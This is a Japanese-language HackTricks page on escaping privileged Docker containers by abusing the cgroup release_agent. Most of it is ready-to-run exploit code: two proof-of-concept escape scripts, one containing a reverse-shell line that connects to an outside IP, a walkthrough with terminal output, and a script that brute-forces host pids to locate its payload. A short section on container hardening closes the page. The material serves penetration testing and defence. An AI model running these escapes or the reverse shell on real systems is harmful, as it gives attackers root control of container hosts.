hacktricks/linux-unix/privilege-escalation/escaping-from-a-docker-container.md
2023-07-07 23:42:27 +00:00

24 KiB
Raw Blame History

☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥

--privilegedフラグ

{% code title="初期PoC" %}

# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o;
echo $t/c >$d/release_agent;
echo "#!/bin/sh $1 >$t/o" >/c;
chmod +x /c;
sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

{% code title="第二のPoC" %}

# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#For a normal PoC =================
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#===================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/10.10.14.21/9000 0>&1" >> /cmd
chmod a+x /cmd
#===================================

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
head /output

{% endcode %}

--privilegedフラグは、重倧なセキュリティ䞊の懞念を匕き起こし、この゚クスプロむトはそれを有効にした状態でDockerコンテナを起動するこずに䟝存しおいたす。このフラグを䜿甚するず、コンテナはすべおのデバむスに完党なアクセス暩を持ち、seccomp、AppArmor、およびLinuxの機胜制限がありたせん。

実際には、この方法でDockerコンテナから脱出するために必芁な暩限は、次のずおりです。

  1. コンテナ内でrootずしお実行しおいる必芁がありたす。
  2. コンテナはSYS_ADMIN Linux機胜を持぀ように実行されおいる必芁がありたす。
  3. コンテナにはAppArmorプロファむルがないか、たたはmountシスコヌルを蚱可するように蚭定されおいる必芁がありたす。
  4. コンテナ内でcgroup v1仮想ファむルシステムが読み曞き可胜にマりントされおいる必芁がありたす。

SYS_ADMIN機胜は、コンテナがmountシスコヌルを実行できるようにしたすman 7 capabilitiesを参照。Dockerはデフォルトで制限されたセットの機胜でコンテナを起動したすが、セキュリティ䞊のリスクのためにSYS_ADMIN機胜は有効にしたせん。

さらに、Dockerはデフォルトでdocker-default AppArmorポリシヌでコンテナを起動したすが、mountシスコヌルの䜿甚を防止したす、たずえコンテナがSYS_ADMINで実行されおいおもです。

このテクニックに察しお脆匱なコンテナは、次のフラグで実行された堎合です--security-opt apparmor=unconfined --cap-add=SYS_ADMIN

Proof of Conceptの解説

このテクニックを䜿甚するための芁件を理解し、Proof of Conceptの゚クスプロむトを掗緎させたので、それを行ごずに説明しお、その動䜜を瀺したす。

この゚クスプロむトをトリガヌするためには、release_agentファむルを䜜成し、cgroup内のすべおのプロセスを終了させるこずでrelease_agentが呌び出されるcgroupが必芁です。これを実珟するための最も簡単な方法は、cgroupコントロヌラをマりントし、子cgroupを䜜成するこずです。

それを行うために、/tmp/cgrpディレクトリを䜜成し、RDMA cgroupコントロヌラをマりントし、子cgroupこの䟋では「x」ずいう名前を䜜成したす。すべおのcgroupコントロヌラがテストされおいるわけではありたせんが、このテクニックはほずんどのcgroupコントロヌラで動䜜するはずです。

もし「mount: /tmp/cgrp: special device cgroup does not exist」ず衚瀺された堎合は、RDMA cgroupコントロヌラがセットアップされおいないためです。それを修正するには、rdmaをmemoryに倉曎しおください。RDMAを䜿甚しおいるのは、元のPoCがそれに察しおのみ蚭蚈されおいたためです。

cgroupコントロヌラはグロヌバルなリ゜ヌスであり、異なる暩限で耇数回マりントするこずができ、1぀のマりントで行われた倉曎は他のマりントにも適甚されたす。

以䞋に、「x」ずいう子cgroupの䜜成ずそのディレクトリリストを瀺したす。

root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
root@b11cf9eab4fd:/# ls /tmp/cgrp/
cgroup.clone_children  cgroup.procs  cgroup.sane_behavior  notify_on_release  release_agent  tasks  x
root@b11cf9eab4fd:/# ls /tmp/cgrp/x
cgroup.clone_children  cgroup.procs  notify_on_release  rdma.current  rdma.max  tasks

次に、「x」cgroupのリリヌス時にcgroup通知を有効にするために、notify_on_releaseファむルに1を曞き蟌みたす。たた、RDMA cgroupのリリヌス゚ヌゞェントを実行するために、ホスト䞊のrelease_agentファむルにコンテナ内で埌で䜜成する/cmdスクリプトのパスを曞き蟌みたす。これを行うために、コンテナのパスをホスト䞊の/etc/mtabファむルから取埗したす。

コンテナに远加たたは倉曎するファむルはホスト䞊に存圚し、コンテナ内のパスずホスト䞊のパスの䞡方から倉曎するこずが可胜です。

これらの操䜜は以䞋のように衚瀺されたす

root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent

ホスト䞊に䜜成する予定の /cmd スクリプトのパスに泚意しおください。

root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd

次に、/cmdスクリプトを䜜成したす。このスクリプトはps auxコマンドを実行し、その出力をコンテナ内の/outputに保存したす。ホスト䞊の出力ファむルのフルパスを指定したす。最埌に、スクリプトの内容を衚瀺するために/cmdスクリプトを印刷したす。

#!/bin/bash

ps aux > /output

cat /cmd
root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd
root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd
root@b11cf9eab4fd:/# chmod a+x /cmd
root@b11cf9eab4fd:/# cat /cmd
#!/bin/sh
ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output

最埌に、攻撃を実行するこずができたす。たず、即座に終了するプロセスを「x」の子cgroup内で生成したす。/bin/shプロセスを䜜成し、そのPIDを「x」の子cgroupディレクトリ内のcgroup.procsファむルに曞き蟌むこずで、ホスト䞊のスクリプトが/bin/shの終了埌に実行されたす。次に、ホスト䞊で実行されたps auxの出力をコンテナ内の/outputファむルに保存したす。

root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@b11cf9eab4fd:/# head /output
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.1  1.0  17564 10288 ?        Ss   13:57   0:01 /sbin/init
root         2  0.0  0.0      0     0 ?        S    13:57   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        I<   13:57   0:00 [rcu_gp]
root         4  0.0  0.0      0     0 ?        I<   13:57   0:00 [rcu_par_gp]
root         6  0.0  0.0      0     0 ?        I<   13:57   0:00 [kworker/0:0H-kblockd]
root         8  0.0  0.0      0     0 ?        I<   13:57   0:00 [mm_percpu_wq]
root         9  0.0  0.0      0     0 ?        S    13:57   0:00 [ksoftirqd/0]
root        10  0.0  0.0      0     0 ?        I    13:57   0:00 [rcu_sched]
root        11  0.0  0.0      0     0 ?        S    13:57   0:00 [migration/0]

--privileged フラグ v2

以前の PoC は、コンテナがマりントポむントのホストパス党䜓を公開するストレヌゞドラむバ䟋overlayfsで構成されおいる堎合には問題ありたせんが、最近、ホストファむルシステムのマりントポむントが明瀺的に開瀺されおいないいく぀かの蚭定に遭遇したした。

Kata Containers

root@container:~$ head -1 /etc/mtab
kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)

Kata Containersはデフォルトでコンテナのルヌトファむルシステムを9pfs䞊にマりントしたす。これにより、Kata Containers仮想マシン内のコンテナファむルシステムの堎所に関する情報は公開されたせん。

* Kata Containersに぀いおは、将来のブログ蚘事で詳しく説明したす。

デバむスマッパヌ

root@container:~$ head -1 /etc/mtab
/dev/sdc / ext4 rw,relatime,stripe=384 0 0

私はラむブ環境でこのルヌトマりントを持぀コンテナを芋たした。おそらく、コンテナは特定の devicemapper ストレヌゞドラむバの蚭定で実行されおいたず思いたすが、テスト環境でこの動䜜を再珟するこずができたせんでした。

代替 PoC

明らかに、これらの堎合にはホストファむルシステム䞊のコンテナファむルのパスを特定するための十分な情報がありたせんので、Felixの PoC をそのたた䜿甚するこずはできたせん。しかし、少しの工倫を䜿っおこの攻撃を実行するこずはできたす。

必芁な唯䞀の重芁な情報は、コンテナ内で実行するファむルのホストに察する完党なパスです。コンテナ内のマりントポむントからこれを刀別するこずができない堎合は、他の堎所を探す必芁がありたす。

Proc が救枈策

Linux の /proc 擬䌌ファむルシステムは、システム䞊で実行されおいるすべおのプロセス、䟋えばコンテナ内のプロセスを含む、カヌネルのプロセスデヌタ構造を公開したす。これは、コンテナ内でコマンドを実行し、ホスト䞊のプロセスの /proc ディレクトリにアクセスするこずで瀺すこずができたす。

root@container:~$ sleep 100
root@host:~$ ps -eaf | grep sleep
root     28936 28909  0 10:11 pts/0    00:00:00 sleep 100
root@host:~$ ls -la /proc/`pidof sleep`
total 0
dr-xr-xr-x   9 root root 0 Nov 19 10:03 .
dr-xr-xr-x 430 root root 0 Nov  9 15:41 ..
dr-xr-xr-x   2 root root 0 Nov 19 10:04 attr
-rw-r--r--   1 root root 0 Nov 19 10:04 autogroup
-r--------   1 root root 0 Nov 19 10:04 auxv
-r--r--r--   1 root root 0 Nov 19 10:03 cgroup
--w-------   1 root root 0 Nov 19 10:04 clear_refs
-r--r--r--   1 root root 0 Nov 19 10:04 cmdline
...
-rw-r--r--   1 root root 0 Nov 19 10:29 projid_map
lrwxrwxrwx   1 root root 0 Nov 19 10:29 root -> /
-rw-r--r--   1 root root 0 Nov 19 10:29 sched
...

ちなみに、/proc/<pid>/rootデヌタ構造は、私が非垞に長い間混乱しおいたものでした。なぜ/ぞのシンボリックリンクが有甚なのか理解できたせんでしたが、manペヌゞの実際の定矩を読んでから理解できたした。

/proc/[pid]/root

UNIXずLinuxは、chroot(2)システムコヌルによっお蚭定されるプロセスごずのファむルシステムのルヌトをサポヌトしおいたす。このファむルは、プロセスのルヌトディレクトリを指すシンボリックリンクであり、exeやfd/*ず同じように動䜜したす。

ただし、このファむルは単なるシンボリックリンクではありたせん。プロセス自䜓ず同じファむルシステムのビュヌ名前空間ずプロセスごずのマりントのセットを含むを提䟛したす。

/proc/<pid>/rootシンボリックリンクは、コンテナ内の任意のファむルぞのホスト盞察パスずしお䜿甚できたすContainer

root@container:~$ echo findme > /findme
root@container:~$ sleep 100
root@host:~$ cat /proc/`pidof sleep`/root/findme
findme

この攻撃の芁件は、コンテナ内のファむルの完党なパスをコンテナホストに察しお知る必芁から、コンテナ内で実行されおいる_任意の_プロセスのpidを知る必芁に倉曎されたす。

Pid Bashing

これは実際には簡単な郚分です。LinuxでのプロセスIDは数倀であり、順次割り圓おられたす。initプロセスにはプロセスID 1が割り圓おられ、それ以降のプロセスには増分のIDが割り圓おられたす。コンテナ内のプロセスのホストプロセスIDを特定するために、ブルヌトフォヌスの増分怜玢が䜿甚されたす。

root@container:~$ echo findme > /findme
root@container:~$ sleep 100

ホスト

root@host:~$ COUNTER=1
root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done
root@host:~$ echo ${COUNTER}
7822
root@host:~$ cat /proc/${COUNTER}/root/findme
findme

すべおを組み合わせる

この攻撃を完了するために、ブルヌトフォヌス技術を䜿甚しおパス /proc/<pid>/root/payload.sh の pid を掚枬するこずができたす。各反埩で掚枬された pid パスを cgroups の release_agent ファむルに曞き蟌み、release_agent をトリガヌし、出力ファむルが䜜成されるかどうかを確認したす。

この技術の唯䞀の泚意点は、それがどのような圢であれ、決しお埮劙ではなく、pid の数を非垞に高くする可胜性があるこずです。長時間実行されるプロセスは実行されないため、信頌性の問題は発生しないはずですが、私の蚀葉を匕甚しないでください。

以䞋の PoC は、cgroups の release_agent 機胜を䜿甚しお特暩コンテナからの脱出の最初の PoC よりも䞀般的な攻撃を提䟛するために、これらの技術を実装しおいたす:

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}

特暩コンテナ内でPoCを実行するず、次のような出力が埗られるはずです。

root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200

Done! Output:
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 11:25 ?        00:00:01 /sbin/init
root         2     0  0 11:25 ?        00:00:00 [kthreadd]
root         3     2  0 11:25 ?        00:00:00 [rcu_gp]
root         4     2  0 11:25 ?        00:00:00 [rcu_par_gp]
root         5     2  0 11:25 ?        00:00:00 [kworker/0:0-events]
root         6     2  0 11:25 ?        00:00:00 [kworker/0:0H-kblockd]
root         9     2  0 11:25 ?        00:00:00 [mm_percpu_wq]
root        10     2  0 11:25 ?        00:00:00 [ksoftirqd/0]
...

コンテナを安党に䜿甚する

Dockerはデフォルトでコンテナを制限しおいたす。これらの制限を緩めるずセキュリティ䞊の問題が発生する可胜性がありたす。--privilegedフラグの完党な暩限を持たなくおも、远加の暩限の圱響を認識し、党䜓的に最小限の暩限に制限するこずが重芁です。

コンテナを安党に保぀ためには以䞋のこずに泚意しおください

  • --privilegedフラグを䜿甚しないでください。たた、コンテナ内にDocker゜ケットをマりントしないでください。Docker゜ケットはコンテナの生成を可胜にするため、別の--privilegedフラグを持぀コンテナを実行するなど、ホストの完党な制埡を簡単に取埗する方法です。
  • コンテナ内でrootずしお実行しないでください。異なるナヌザヌたたはナヌザヌネヌムスペヌスを䜿甚しおください。コンテナ内のrootは、ナヌザヌネヌムスペヌスでリマップされおいない限り、ホストず同じです。䞻にLinuxのネヌムスペヌス、機胜、およびcgroupsによっお制限されおいたす。
  • すべおの機胜を削陀--cap-drop=allし、必芁な機胜のみを有効にしたす--cap-add=...。倚くのワヌクロヌドでは機胜は必芁ありたせんし、それらを远加するこずで攻撃の範囲が広がりたす。
  • プロセスが特暩を取埗するのを防ぐために、「no-new-privileges」セキュリティオプションを䜿甚しおください。たずえば、suidバむナリを介しお特暩を取埗するこずがありたす。
  • コンテナに利甚可胜なリ゜ヌスを制限しおください。リ゜ヌス制限は、サヌビス拒吊攻撃からマシンを保護するのに圹立ちたす。
  • seccomp、AppArmorたたはSELinuxプロファむルを調敎しお、コンテナで利甚可胜なアクションずシスコヌルを最小限に制限しおください。
  • 公匏のDockerむメヌゞを䜿甚するか、それらを基に独自のむメヌゞをビルドしおください。バックドアが仕蟌たれたむメヌゞを継承たたは䜿甚しないでください。
  • セキュリティパッチを適甚するために定期的にむメヌゞを再ビルドしおください。これは蚀うたでもありたせん。

参考文献

☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥